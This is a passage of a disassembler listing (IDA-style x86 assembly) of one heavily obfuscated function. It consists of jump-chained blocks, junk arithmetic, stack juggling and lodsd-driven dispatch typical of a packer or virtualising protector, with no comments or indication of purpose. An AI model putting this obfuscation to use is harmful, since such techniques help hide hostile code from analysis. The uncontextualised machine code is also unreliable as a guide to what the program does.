ebx, 4 xchg ebx, [esp-6EF2h+arg_6EE8+2] pop esp push ebx push esp mov ebx, [esp-6EEEh+arg_6EE4+2] push eax mov eax, esp add eax, 4 jmp loc_58FA83 ; --------------------------------------------------------------------------- loc_58AAF0: ; CODE XREF: sub_581EE9+E8A3j add al, 1 add al, bh sub al, 1 add al, 2Fh mov bx, word ptr [esp-6EEAh+arg_6EE0+2] push ebp mov ebp, esp jmp loc_587708 ; --------------------------------------------------------------------------- loc_58AB04: ; CODE XREF: sub_581EE9+C5A4j push [esp-6EE6h+arg_6EDC+2] pop eax add esp, 4 add eax, 4 push edx jmp loc_58CFB9 ; --------------------------------------------------------------------------- loc_58AB19: ; CODE XREF: sub_581EE9+4A12j and dh, 6Bh shl dh, 2 push eax mov al, 0EFh not al not al sub al, 9Eh xor al, 5Bh add dh, al jmp loc_5903A1 ; --------------------------------------------------------------------------- loc_58AB31: ; CODE XREF: sub_581EE9+9D3Bj push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp-6EC6h+arg_6EBE], ebx mov ebx, 4 add ecx, ebx pop ebx xchg ecx, [esp-6ECAh+arg_6EC2] pop esp push 278Bh mov [esp-6ECAh+arg_6EC2], ebp mov ebp, esp add ebp, 4 jmp loc_58936A ; --------------------------------------------------------------------------- loc_58AB61: ; CODE XREF: sub_581EE9+D543j push edx mov edx, esp jmp loc_586FE1 ; --------------------------------------------------------------------------- loc_58AB69: ; CODE XREF: sub_581EE9+637Dj shr esi, 2 push ebp jmp loc_58F06F ; --------------------------------------------------------------------------- loc_58AB72: ; CODE XREF: sub_581EE9+59D9j mov [esp-6F12h+arg_6F0A], edi jmp loc_585D3B ; --------------------------------------------------------------------------- loc_58AB7A: ; CODE XREF: sub_581EE9+8F11j mov [esp-6F12h+arg_6F0A], eax mov eax, esp jmp loc_590D7F ; --------------------------------------------------------------------------- loc_58AB84: ; CODE XREF: sub_581EE9+85DAj mov ecx, edx mov edx, [esp-6E84h+arg_6E7C] add esp, 4 push ecx push ebx pop ecx pop ebx not ebx xchg ebx, ecx sub ecx, 1 push esi mov esi, 3F4B6B96h sub esi, 7B864677h not esi jmp loc_59148C ; --------------------------------------------------------------------------- loc_58ABAA: ; CODE XREF: sub_581EE9+DDBDj pop eax add esi, 1 shl esi, 5 sub esi, 0C29E585Fh or eax, esi jmp loc_58D701 ; --------------------------------------------------------------------------- loc_58ABC1: ; CODE XREF: sub_581EE9+5605j pop ebp add edi, 4 jmp loc_5903DB ; --------------------------------------------------------------------------- loc_58ABCD: ; CODE XREF: sub_581EE9+7759j push 5F04h mov [esp-6EBCh+arg_6EB2+2], edi push 1 pop edi jmp loc_58C020 ; --------------------------------------------------------------------------- loc_58ABE0: ; CODE XREF: sub_581EE9+E4EDj pop edi sub edi, ebx jmp loc_58F729 ; --------------------------------------------------------------------------- loc_58ABE8: ; CODE XREF: sub_581EE9+80FBj pop eax pop [esp-6ED4h+arg_6ECA+2] mov esp, [esp-6ED8h+arg_6ECE+2] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58ABF4: ; CODE XREF: sub_581EE9+A061j push 0B77h mov [esp-6ED4h+arg_6ECA+2], esp push edx mov edx, 4 add [esp-6ED0h+arg_6ECA+2], edx jmp loc_58DB95 ; --------------------------------------------------------------------------- loc_58AC0B: ; CODE XREF: sub_581EE9+884Aj push eax jmp loc_5889D2 ; --------------------------------------------------------------------------- loc_58AC11: ; CODE XREF: sub_581EE9+3E1Aj mov ebp, 552441A0h and edx, ebp jmp loc_58E222 ; --------------------------------------------------------------------------- loc_58AC1D: ; CODE XREF: sub_581EE9+56C3j push ebp mov ebp, 4 add esi, ebp pop ebp jmp loc_5905B8 ; --------------------------------------------------------------------------- loc_58AC2B: ; CODE XREF: sub_581EE9+4674j push ecx mov ecx, esp add ecx, 4 jmp loc_5917EC ; --------------------------------------------------------------------------- loc_58AC39: ; DATA XREF: sub_581EE9+3C97o lodsd jmp loc_587299 ; --------------------------------------------------------------------------- loc_58AC3F: ; CODE XREF: sub_581EE9+60D3j pop edi pop edx add ecx, 0F014ABBh add ecx, 62493C68h add ecx, edi sub ecx, 62493C68h push ebx jmp loc_587B1C ; --------------------------------------------------------------------------- loc_58AC5B: ; CODE XREF: sub_581EE9+DAF7j pop ebx add ebx, 4 add ebx, 4 push ebx jmp loc_59023C ; --------------------------------------------------------------------------- loc_58AC6E: ; CODE XREF: sub_581EE9+F4D5j push ecx mov ecx, 106A787Dh push ecx not [esp-6ECEh+arg_6EC6] jmp loc_588B63 ; --------------------------------------------------------------------------- loc_58AC7D: ; DATA XREF: sub_581EE9+3CFFo mov ax, word ptr [esp-6ECEh+arg_6EC6] push ecx jmp loc_587967 ; --------------------------------------------------------------------------- loc_58AC87: ; CODE XREF: sub_581EE9+575Cj mov edi, esp push ebp mov ebp, 4 jmp loc_58BEC5 ; --------------------------------------------------------------------------- loc_58AC94: ; CODE XREF: sub_581EE9+687Dj xor ebp, ecx pop ecx push 3F96h mov [esp-6EC4h+arg_6EBA+2], eax mov eax, 64150DBFh jmp loc_58BA71 ; --------------------------------------------------------------------------- loc_58ACA9: ; CODE XREF: sub_581EE9+4ECEj xchg esi, [esp-6EC2h+arg_6EBA] pop esp sub esp, 4 jmp loc_59178F ; --------------------------------------------------------------------------- loc_58ACB5: ; CODE XREF: sub_581EE9+D0E3j sub ebp, 59C70D49h sub ebp, ebx add ebp, 59C70D49h pop ebx sub ebp, 46AF5381h sub ebp, 5F7153Ah and eax, ebp mov ebp, [esp-6EC6h+arg_6EBE] jmp loc_588A3A ; --------------------------------------------------------------------------- loc_58ACDA: ; CODE XREF: sub_581EE9+469Dj sub bh, 95h jmp loc_58CECB ; --------------------------------------------------------------------------- loc_58ACE2: ; CODE XREF: sub_581EE9+DE71j mov eax, ebx pop ebx jmp loc_58677F ; --------------------------------------------------------------------------- loc_58ACEA: ; CODE XREF: sub_581EE9+6796j and eax, esi push [esp-6EE8h+arg_6EE0] pop esi push eax jmp loc_58EAC7 ; --------------------------------------------------------------------------- lodsd add eax, 7B757537h jmp loc_59162E ; --------------------------------------------------------------------------- loc_58AD01: ; CODE XREF: sub_581EE9+DF8Cj pop ecx pop dword ptr [esp] pop esp push edx push esp mov edx, [esp] add esp, 4 add edx, 4 jmp loc_589418 ; --------------------------------------------------------------------------- loc_58AD19: ; CODE XREF: sub_581EE9+7C52j add ebx, edi add ebx, 337814D1h push esi push edx mov edx, 7B6E300Ah mov esi, 0D67011Eh xor esi, edx jmp loc_588339 ; --------------------------------------------------------------------------- loc_58AD34: ; CODE XREF: sub_581EE9+689Aj pop cx add al, cl jmp loc_58C8F1 ; --------------------------------------------------------------------------- loc_58AD3D: ; CODE XREF: sub_581EE9+E97Dj xor esi, 214660F6h jmp loc_58BE7E ; --------------------------------------------------------------------------- loc_58AD48: ; CODE XREF: sub_581EE9+96B0j mov eax, ecx mov ecx, [esp-6E8Ch+arg_6E84] add esp, 4 add esi, 79D81601h add esi, eax sub esi, 79D81601h pop eax xchg esi, [esp-6E94h+arg_6E8A+2] mov esp, [esp-6E94h+arg_6E8A+2] shl word ptr [esp-6E94h+arg_6E8A+2], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58AD72: ; CODE XREF: sub_581EE9+86A5j push esi push 2A805C57h jmp loc_5876E2 ; --------------------------------------------------------------------------- loc_58AD7D: ; CODE XREF: sub_581EE9+C65Aj mov ecx, 5D973065h sub ebx, ecx pop ecx add ebx, ecx add ebx, 5D973065h pop ecx xchg ebx, [esp-6EC2h+arg_6EBA] pop esp shr [esp-6EC6h+arg_6EBE], cl pushf jmp loc_58D905 ; --------------------------------------------------------------------------- loc_58AD9B: ; CODE XREF: sub_581EE9+40C0j sub ecx, 49A5742Eh add ecx, ebp add ecx, 49A5742Eh jmp loc_586F35 ; --------------------------------------------------------------------------- loc_58ADAE: ; CODE XREF: sub_581EE9+598Aj xor eax, 95F0427Ah add ebp, eax mov eax, [esp-6EC6h+arg_6EBE] add esp, 4 push ebx mov ebx, 5FBE5782h or ebp, ebx pop ebx push ebx mov ebx, 7FFF7FA1h jmp loc_58D102 ; --------------------------------------------------------------------------- loc_58ADCF: ; CODE XREF: sub_581EE9+C2EFj add esp, 4 add edi, 0FFFFFFFFh push ebx push edx push eax jmp loc_589E0E ; --------------------------------------------------------------------------- loc_58ADE3: ; DATA XREF: sub_581EE9+3C17o mov ax, word ptr [esp-6EBEh+arg_6EB6] sub esp, 4 mov [esp-6EBAh+arg_6EB2], edi push esp push [esp-6EB6h+arg_6EAC+2] pop edi push 3929h jmp loc_58AB7A ; --------------------------------------------------------------------------- loc_58ADFF: ; CODE XREF: sub_581EE9+7878j add ebp, 4 jmp loc_58E492 ; --------------------------------------------------------------------------- loc_58AE0A: ; CODE XREF: sub_581EE9+F3AFj mov edi, 0DCB3A41h xor edi, 319370BDh jmp loc_591438 ; --------------------------------------------------------------------------- loc_58AE1A: ; CODE XREF: sub_581EE9+AD05j sub esp, 4 mov [esp-6EDAh+arg_6ED2], edx mov edx, 23707C9Ch sub edx, 0ADE20018h sub ebx, edx pop edx push ecx mov ecx, 0B1501F41h jmp loc_58D7A3 ; --------------------------------------------------------------------------- loc_58AE39: ; CODE XREF: sub_581EE9+4BBFj sub eax, 4393962h jmp loc_58E208 ; --------------------------------------------------------------------------- loc_58AE43: ; CODE XREF: sub_581EE9+B6DBj sub al, bl push bx push eax mov ah, 33h jmp loc_58D7CC ; --------------------------------------------------------------------------- loc_58AE4F: ; CODE XREF: sub_581EE9+8268j pop ebp add ebp, 4 jmp loc_58DCED ; --------------------------------------------------------------------------- loc_58AE5B: ; CODE XREF: sub_581EE9+F929j inc ebp jmp loc_58A593 ; --------------------------------------------------------------------------- loc_58AE61: ; CODE XREF: sub_581EE9+CA79j add ecx, 4 jmp loc_58DAB7 ; --------------------------------------------------------------------------- loc_58AE6C: ; CODE XREF: sub_581EE9+79D1j pop eax jmp loc_588FB8 ; --------------------------------------------------------------------------- loc_58AE72: ; CODE XREF: sub_581EE9+A18Cj mov ebp, 0EC032DBh jmp loc_58F0E1 ; --------------------------------------------------------------------------- loc_58AE7C: ; CODE XREF: sub_581EE9+DB72j sub edi, eax jmp loc_585D66 ; --------------------------------------------------------------------------- loc_58AE83: ; CODE XREF: sub_581EE9+957Aj shr eax, 1 push ebp mov ebp, 501F6545h push edx jmp loc_58643D ; --------------------------------------------------------------------------- loc_58AE91: ; CODE XREF: sub_581EE9+6868j mov ecx, [esp-6EC4h+arg_6EBA+2] jmp loc_58DFA6 ; --------------------------------------------------------------------------- loc_58AE99: ; CODE XREF: sub_581EE9+CFB3j add ebx, edi jmp loc_587825 ; --------------------------------------------------------------------------- loc_58AEA0: ; CODE XREF: sub_581EE9+83C5j pop ebx push 67D7h mov [esp-6EC2h+arg_6EBA], edi mov edi, esp push ebp jmp loc_5896A6 ; --------------------------------------------------------------------------- loc_58AEB1: ; CODE XREF: sub_581EE9+E78Ej mov ch, 8Ah add ch, al pop eax mov ah, ch pop ecx mov dl, 21h add dl, ah pop eax push 0FA3h mov [esp-6EC6h+arg_6EBE], ecx mov cl, 68h shr cl, 2 shr cl, 8 shl cl, 1 sub cl, 0FFh add cl, 47h jmp loc_590ACE ; --------------------------------------------------------------------------- loc_58AEDB: ; CODE XREF: sub_581EE9+E29Ej mov eax, [esp-6EC6h+arg_6EBE] add esp, 4 push edx mov edx, esp push eax jmp loc_58FAA5 ; --------------------------------------------------------------------------- loc_58AEED: ; CODE XREF: sub_581EE9+8186j push ebx mov ebx, 74D0B51h and edx, ebx pop ebx shr edx, 8 xor edx, offset loc_6004B8 xor esi, edx mov edx, [esp-6ECEh+arg_6EC6] jmp loc_58F207 ; --------------------------------------------------------------------------- loc_58AF09: ; CODE XREF: sub_581EE9+82BCj mov [esp-6ED4h+arg_6ECA+2], eax push 2 pop eax add ebp, eax pop eax xchg ebp, [esp-6ED8h+arg_6ECE+2] jmp loc_58D197 ; --------------------------------------------------------------------------- loc_58AF1D: ; CODE XREF: sub_581EE9+510Aj push [esp-6EF6h+arg_6EF0+2] pop ebp pop [esp-6EF6h+arg_6EEC+2] jmp loc_587AF2 ; --------------------------------------------------------------------------- loc_58AF2A: ; CODE XREF: sub_581EE9+5181j mov word ptr [esp-6F00h+arg_6EF6+2], cx movzx cx, al jmp loc_586C6A ; --------------------------------------------------------------------------- loc_58AF37: ; CODE XREF: sub_581EE9+EB3Cj push ebx mov ebx, 4 add edx, ebx pop ebx xchg edx, [esp-6F00h+arg_6EF6+2] mov esp, [esp-6F00h+arg_6EF6+2] loc_58AF46: ; CODE XREF: sub_581EE9+49E0j sub esp, 4 jmp loc_586C7D ; --------------------------------------------------------------------------- loc_58AF4E: ; CODE XREF: sub_581EE9+BF73j push ecx mov ecx, 26908C9h jmp loc_58B903 ; --------------------------------------------------------------------------- loc_58AF59: ; CODE XREF: sub_581EE9+4BA4j mov bh, al mov cl, bh pop ebx pop eax mov [edi+28h], cl jmp loc_5910EF ; --------------------------------------------------------------------------- loc_58AF67: ; CODE XREF: sub_581EE9+A1A4j add bl, 0C4h add al, bl mov bx, word ptr [esp-6EDAh+arg_6ED2] add esp, 2 jmp loc_5905C8 ; --------------------------------------------------------------------------- loc_58AF78: ; CODE XREF: sub_581EE9+F9CEj or ebx, ebx jnz loc_587DA4 push 6E7Ch mov [esp-6EDAh+arg_6ED2], edx pop dword ptr [edi+20h] jmp loc_588171 ; --------------------------------------------------------------------------- loc_58AF90: ; CODE XREF: sub_581EE9+630Bj and byte ptr [esp-6ED4h+arg_6ECA+2], al pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58AF99: ; CODE XREF: sub_581EE9+84C3j pop ebp xor eax, ecx pop ecx xor ebx, eax push esi mov esi, esp add esi, 4 jmp loc_58E7FE ; --------------------------------------------------------------------------- loc_58AFAD: ; CODE XREF: sub_581EE9+82C3j pop edx sub ebx, ebp pop ebp xor ebx, [esp-6EDCh+arg_6ED2+2] xor [esp-6EDCh+arg_6ED2+2], ebx xor ebx, [esp-6EDCh+arg_6ED2+2] pop esp mov [esp-6EE0h+arg_6ED6+2], eax not [esp-6EE0h+arg_6ED6+2] push [esp-6EE0h+arg_6ED6+2] pop eax add esp, 4 sub esp, 4 mov [esp-6EE0h+arg_6ED6+2], ebx push eax push 22501596h pop eax jmp loc_588325 ; --------------------------------------------------------------------------- loc_58AFDA: ; CODE XREF: sub_581EE9+DFC9j pop esi add esi, eax jmp loc_58DA8F ; --------------------------------------------------------------------------- loc_58AFE2: ; CODE XREF: sub_581EE9+E8BFj add esi, 4 xchg esi, [esp-6EE0h+arg_6ED6+2] pop esp or [esp-6EE4h+arg_6EDC], eax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58AFF5: ; CODE XREF: sub_581EE9+A60Fj mov ecx, 0BAF114Dh or ecx, 53C65561h sub ecx, 69AD7D7Ch add ecx, 8ADE954Eh xor ebx, ecx pop ecx mov eax, ebx pop ebx sub ebp, eax pop eax jmp loc_58775B ; --------------------------------------------------------------------------- loc_58B01A: ; CODE XREF: sub_581EE9+77F7j add esp, 4 sub esp, 4 mov [esp-6EDEh+arg_6ED6], ebp jmp loc_58A248 ; --------------------------------------------------------------------------- loc_58B02E: ; DATA XREF: sub_581EE9+3C43o sub esp, 4 mov [esp-6EF6h+arg_6EEC+2], esi push eax push 200h pop eax push 7129h mov [esp], edi mov edi, eax push edi xor [esp-6EEAh+arg_6EE0+2], 53CC3905h pop esi xor esi, 53CC3905h pop edi jmp loc_587A45 ; --------------------------------------------------------------------------- loc_58B05D: ; CODE XREF: sub_581EE9+5BD0j inc eax neg eax xor eax, 0F31691C5h mov ebx, eax pop eax mov esi, 5C0298ACh sub esi, ebx pop ebx add esi, 11C60C62h shl esi, 5 inc esi jmp loc_58A63E ; --------------------------------------------------------------------------- loc_58B07F: ; CODE XREF: sub_581EE9+C894j add ecx, 4 jmp loc_588A13 ; --------------------------------------------------------------------------- loc_58B08A: ; CODE XREF: sub_581EE9+B634j add al, 11h sub al, bl sub al, 11h jmp loc_58C51A ; --------------------------------------------------------------------------- loc_58B095: ; CODE XREF: sub_581EE9+872Cj add cl, 34h sub bl, cl pop ecx add bl, 27h sub bl, al sub bl, 27h push 4D94h mov dword ptr [esp-6EAAh+arg_6EA2], ecx mov ch, 0E4h push ebx mov bh, 0AEh not bh jmp loc_5887ED ; --------------------------------------------------------------------------- loc_58B0B7: ; CODE XREF: sub_581EE9+CCBFj mov [esp-6EA6h+arg_6E9E], eax mov eax, 1Ch sub eax, 39A35B8Ch sub eax, 49576DE5h jmp loc_58FC6E ; --------------------------------------------------------------------------- loc_58B0CE: ; CODE XREF: sub_581EE9+4F90j mov eax, [esp+0] add esp, 4 push 6E20h jmp loc_58BCF6 ; --------------------------------------------------------------------------- loc_58B0E1: ; CODE XREF: sub_581EE9+FC24j push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 add ebp, eax mov eax, [esp-6EB0h+arg_6EA8] add esp, 4 xchg ebp, [esp-6EB4h+arg_6EAC] pop esp add ecx, 4 push esi jmp loc_5863BB ; --------------------------------------------------------------------------- loc_58B10B: ; CODE XREF: sub_581EE9+570Cj mov [esp-6F0Ah+arg_6F02], edx jmp loc_58D568 ; --------------------------------------------------------------------------- loc_58B113: ; CODE XREF: sub_581EE9+5A79j add ecx, 4 push 5A55h mov [esp-6EF6h+arg_6EEC+2], edi jmp loc_58E838 ; --------------------------------------------------------------------------- loc_58B126: ; CODE XREF: sub_581EE9+A9C8j mov ecx, esp push edx jmp loc_58E62D ; --------------------------------------------------------------------------- loc_58B12E: ; CODE XREF: sub_581EE9+77C2j add edi, 18F47557h add edi, ebp jmp loc_5874E8 ; --------------------------------------------------------------------------- loc_58B13B: ; CODE XREF: sub_581EE9+6F34j sub edi, 31DF9217h jmp loc_589378 ; --------------------------------------------------------------------------- lodsd add eax, 232C1BE7h add eax, ebx push esi mov esi, 2094658Ch push ebp push esi mov esi, 667506B6h dec esi push ebp mov ebp, 62785595h sub ebp, 2B7D2408h sub ebp, 2DE83C0Ah sub ebp, 75F06039h not ebp add ebp, 0FFFFFFFFh not ebp push ecx mov ecx, 302A6942h sub ebp, ecx pop ecx add esi, ebp pop ebp add esi, 0A909CEC0h mov ebp, esi pop esi inc ebp add ebp, 52CF56FFh dec ebp xchg esi, ebp not esi xchg esi, ebp add ebp, 7AF118B6h xor ebp, 9E84EAE8h jmp loc_5882D2 ; --------------------------------------------------------------------------- loc_58B1AF: ; CODE XREF: sub_581EE9+6E94j mov [esp-6EB0h+arg_6EA8], esp jmp loc_5915F3 ; --------------------------------------------------------------------------- loc_58B1B7: ; CODE XREF: sub_581EE9+561Bj add ecx, esi pop esi add ecx, 4 push ecx jmp loc_58FE71 ; --------------------------------------------------------------------------- loc_58B1C3: ; CODE XREF: sub_581EE9+B17Cj pop esp xchg ecx, [esp-6ECAh+arg_6EC2] mov esp, [esp-6ECAh+arg_6EC2] push [esp-6ECAh+arg_6EC2] mov eax, [esp-6EC6h+arg_6EBE] jmp loc_585EB8 ; --------------------------------------------------------------------------- loc_58B1D5: ; CODE XREF: sub_581EE9+BE39j mov ecx, [esp-6EC6h+arg_6EBE] add esp, 4 xor ecx, 16BD180Dh dec ecx not ecx add ecx, 15AC00A4h mov edx, ecx mov ecx, [esp-6ECAh+arg_6EC2] add esp, 4 or [edi+1Ch], edx jmp loc_590E85 ; --------------------------------------------------------------------------- loc_58B200: ; CODE XREF: sub_581EE9+5664j mov esi, 2E4338EDh shl esi, 7 push ebx mov ebx, 1 add esi, ebx mov ebx, [esp-6EBAh+arg_6EB2] add esp, 4 sub esi, 5CE42BF8h jmp loc_58F346 ; --------------------------------------------------------------------------- loc_58B221: ; CODE XREF: sub_581EE9+61F6j push edi mov edi, 2C5F7440h shl edi, 2 or edi, 17960B02h shl edi, 1 xor edi, 59B717CBh or edi, 458939E0h add edi, 0F71C4D7Dh add eax, edi mov edi, [esp-6EBEh+arg_6EB6] jmp loc_58CF95 ; --------------------------------------------------------------------------- loc_58B24E: ; CODE XREF: sub_581EE9+F6BDj mov [esp-6EBEh+arg_6EB6], ecx mov ecx, 2FBB0E3Bh shl ecx, 8 jmp loc_58DEED ; --------------------------------------------------------------------------- loc_58B25E: ; CODE XREF: sub_581EE9+AD90j pop edx push ecx mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp-6EC2h+arg_6EBA] pop esp jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58B271: ; CODE XREF: sub_581EE9+8093j mov edi, 4 add ebx, edi push dword ptr [esp-6EAAh+arg_6EA2] mov edi, [esp-6EA6h+arg_6E9E] add esp, 4 add esp, 4 sub esp, 4 mov dword ptr [esp-6EAAh+arg_6EA2], ecx push edi mov edi, 7A7C773Ah jmp loc_58E533 ; --------------------------------------------------------------------------- loc_58B29B: ; CODE XREF: sub_581EE9+9D0Ej push edx mov edx, 4 sub edi, edx pop edx xchg edi, [esp-6EA6h+arg_6E9E] pop esp mov dword ptr [esp-6EAAh+arg_6EA2], ecx push 24h pop ecx add esi, ecx mov ecx, dword ptr [esp-6EAAh+arg_6EA2] add esp, 4 push 18FAh jmp loc_589134 ; --------------------------------------------------------------------------- loc_58B2C3: ; CODE XREF: sub_581EE9+41DCj add esp, 4 xchg ebx, [esp-6EC6h+arg_6EBE] mov esp, [esp-6EC6h+arg_6EBE] push [esp-6EC6h+arg_6EBE] mov ecx, [esp-6EC2h+arg_6EBA] jmp loc_585F24 ; --------------------------------------------------------------------------- loc_58B2DA: ; CODE XREF: sub_581EE9+71E3j pop [esp-6EC0h+arg_6EB6+2] pop esp add esp, 4 push [esp-6ECCh+arg_6EC2+2] jmp loc_590FD5 ; --------------------------------------------------------------------------- loc_58B2E9: ; DATA XREF: sub_581EE9+3C6Bo mov cx, word ptr [esp-6EC8h+arg_6EBE+2] push esi push 258Dh push esp pop [esp-6EBCh+arg_6EB2+2] add [esp-6EC0h+arg_6EB6+2], 4 jmp loc_590ECD ; --------------------------------------------------------------------------- loc_58B303: ; CODE XREF: sub_581EE9+BC7Aj mov [esp-6EC0h+arg_6EB6+2], esi jmp loc_585EBF ; --------------------------------------------------------------------------- loc_58B30B: ; CODE XREF: sub_581EE9+BC98j push esi jmp loc_58E579 ; --------------------------------------------------------------------------- loc_58B311: ; CODE XREF: sub_581EE9+4122j mov ecx, 42814450h xor ecx, 49183093h add ecx, 6CA396EAh and edi, ecx pop ecx sub edi, 0ECBAD32Dh jmp loc_588B9B ; --------------------------------------------------------------------------- loc_58B330: ; CODE XREF: sub_581EE9+C340j sub edx, 8B45923Bh push eax mov eax, 151C2943h xor eax, 3B8D2622h xor edx, eax mov eax, [esp-6EC0h+arg_6EB6+2] jmp loc_587A23 ; --------------------------------------------------------------------------- loc_58B34B: ; CODE XREF: sub_581EE9+83E2j push esp push [esp-6EBCh+arg_6EB2+2] pop ebp add esp, 4 add ebp, 4 jmp loc_58D8DA ; --------------------------------------------------------------------------- loc_58B361: ; CODE XREF: sub_581EE9+7F6Bj sub esp, 4 jmp loc_58A390 ; --------------------------------------------------------------------------- loc_58B369: ; CODE XREF: sub_581EE9+EF14j pop eax add ebx, 4 push ebx jmp loc_590AE9 ; --------------------------------------------------------------------------- loc_58B376: ; CODE XREF: sub_581EE9+F107j mov esi, 74D20251h shl esi, 4 jmp loc_586D8A ; --------------------------------------------------------------------------- loc_58B383: ; CODE XREF: sub_581EE9+A52Fj sub esi, eax pop eax or eax, esi jmp loc_591564 ; --------------------------------------------------------------------------- loc_58B38D: ; CODE XREF: sub_581EE9+8174j mov ecx, 4 sub [esp-6E82h+arg_6E7C+2], 6A0C491Fh jmp loc_58DB3C ; --------------------------------------------------------------------------- loc_58B39F: ; CODE XREF: sub_581EE9+CA7Fj push ebx mov ebx, 248312E9h dec ebx add ebx, 2D61623h or edx, ebx pop ebx or edx, 6BA1093Fh xor edx, 2F8DBB07h push esi mov esi, esp jmp loc_589A03 ; --------------------------------------------------------------------------- loc_58B3C3: ; CODE XREF: sub_581EE9+975Cj add edx, ebx pop ebx xchg edx, dword ptr [esp-6E82h+arg_6E7A] mov esp, dword ptr [esp-6E82h+arg_6E7A] add esp, 4 sub ebx, 68A45163h sub ebx, 38A751DCh push ebp push eax mov eax, 34CF2876h mov ebp, eax pop eax add ebx, ebp pop ebp push ecx mov ecx, 15102AB3h add ebx, ecx pop ecx sub ebx, 0D291F94h add ebx, eax jmp loc_5895CB ; --------------------------------------------------------------------------- push 261Ah mov dword ptr [esp-6E82h+arg_6E7A], ebx mov ebx, 26D5334Ch add ebx, 0D92ACCF0h add ebx, edi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-6E7Eh+arg_6E76] pop esp mov dword ptr [esp-6E82h+arg_6E7A], edx push 0 jmp loc_590A02 ; --------------------------------------------------------------------------- loc_58B433: ; CODE XREF: sub_581EE9+87D8j neg ebx xchg ebx, [esp-6EACh+arg_6EA4] push [esp-6EACh+arg_6EA4] mov eax, [esp-6EA8h+arg_6E9E+2] add esp, 4 add esp, 4 sub eax, 5203B897h push edx mov edx, eax mov ecx, edx mov edx, [esp-6EACh+arg_6EA4] add esp, 4 pop eax rep movsd add esp, [edx+38h] push eax mov eax, 5B1F5203h jmp loc_58AE83 ; --------------------------------------------------------------------------- loc_58B468: ; CODE XREF: sub_581EE9+CC1Fj add edx, eax jmp loc_58D462 ; --------------------------------------------------------------------------- loc_58B46F: ; CODE XREF: sub_581EE9+7A0Aj add edi, ecx jmp loc_58E6A3 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp+0], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58B486: ; CODE XREF: sub_581EE9+A797j push ebx mov ebx, 1 push ebx pop edx pop ebx mov ebx, edx pop edx jmp loc_58A2A9 ; --------------------------------------------------------------------------- loc_58B497: ; CODE XREF: sub_581EE9+D181j sub esp, 2 jmp loc_587528 ; --------------------------------------------------------------------------- loc_58B4A2: ; DATA XREF: sub_581EE9+3C23o push [esp-6EB4h+arg_6EAC] jmp loc_591AAF ; --------------------------------------------------------------------------- loc_58B4AA: ; CODE XREF: sub_581EE9+BDF8j pop eax pop [esp-6EB4h+arg_6EAC] pop esp push 162Bh mov [esp+0], edi jmp loc_58E26E ; --------------------------------------------------------------------------- loc_58B4BC: ; DATA XREF: sub_581EE9+3D4Fo mov eax, 63FD2381h add eax, 43EF7BEEh sub esp, 4 mov [esp-6EB4h+arg_6EAC], ebp push edi jmp loc_58956C ; --------------------------------------------------------------------------- loc_58B4D5: ; CODE XREF: sub_581EE9+B5B6j add ebp, 4 add ebp, 4 xchg ebp, [esp-6EB0h+arg_6EA8] pop esp jmp loc_58BA20 ; --------------------------------------------------------------------------- loc_58B4EA: ; CODE XREF: sub_581EE9+A082j and esi, ecx pop ecx jmp loc_5879DE ; --------------------------------------------------------------------------- loc_58B4F2: ; CODE XREF: sub_581EE9+42FBj add esp, 4 shl ebx, 6 shr ebx, 7 or ebx, 54044D88h push ebp push ecx mov ecx, 27B05234h inc ecx sub ecx, 0F11CE19Eh jmp loc_588CA5 ; --------------------------------------------------------------------------- loc_58B517: ; CODE XREF: sub_581EE9+DF83j mov [esp-6EBEh+arg_6EB6], edx push 10000h pop edx and eax, edx push [esp-6EBEh+arg_6EB6] pop edx add esp, 4 shr eax, 10h xor eax, ecx xchg eax, ebp xchg eax, ebp push eax push esp pop eax jmp loc_586856 ; --------------------------------------------------------------------------- loc_58B53B: ; CODE XREF: sub_581EE9+C0E0j push [esp-6EBEh+arg_6EB6] pop edx push ebp jmp loc_585F79 ; --------------------------------------------------------------------------- loc_58B545: ; CODE XREF: sub_581EE9+55D2j pop esp push [esp-6ECEh+arg_6EC6] mov eax, [esp-6ECAh+arg_6EC2] jmp loc_588831 ; --------------------------------------------------------------------------- loc_58B551: ; CODE XREF: sub_581EE9+A3FBj mov cl, 0FFh jmp loc_591661 ; --------------------------------------------------------------------------- loc_58B558: ; CODE XREF: sub_581EE9+E189j push 70104Eh jmp loc_59126F ; --------------------------------------------------------------------------- loc_58B562: ; CODE XREF: sub_581EE9+8941j pop ebx add esp, 4 jmp loc_588EBB ; --------------------------------------------------------------------------- loc_58B56B: ; CODE XREF: sub_581EE9+772Aj inc ebp xor ebp, 39F8320Fh xor ebp, 345C2D22h mov edi, ebp pop ebp mov ebp, 77056A70h jmp loc_58D14B ; --------------------------------------------------------------------------- loc_58B585: ; CODE XREF: sub_581EE9+D36Cj xor ecx, ebp pop ebp and ecx, 576B2891h shr ecx, 7 neg ecx sub ecx, 0FF5DEBFEh jmp loc_58AD48 ; --------------------------------------------------------------------------- loc_58B59E: ; CODE XREF: sub_581EE9+A561j add ebp, 18BA2CAAh add ebp, 3A6B0133h pop edx push 136Ch jmp loc_58FF76 ; --------------------------------------------------------------------------- loc_58B5B5: ; CODE XREF: sub_581EE9+60EDj push ebx push esp jmp loc_58F5F3 ; --------------------------------------------------------------------------- loc_58B5BC: ; CODE XREF: sub_581EE9+BF4Dj pop esp mov [esp-6ECEh+arg_6EC6], eax jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58B5C5: ; CODE XREF: sub_581EE9+F74Dj push esi mov esi, 78BC411Dh dec esi sub esi, 0FFFFFFFFh add esi, 26A32C71h sub esi, 959BF11Eh mov edi, esi pop esi shl edi, 3 or edi, 2558273Fh xor edi, 6A660D61h dec edi sub edi, 4E13523Bh add edi, 56AF67B0h shr edi, 6 shl edi, 5 xor edi, 763E6A75h add eax, edi jmp loc_589116 ; --------------------------------------------------------------------------- loc_58B60D: ; CODE XREF: sub_581EE9+6110j mov esi, 2 add edx, esi pop esi xor edx, 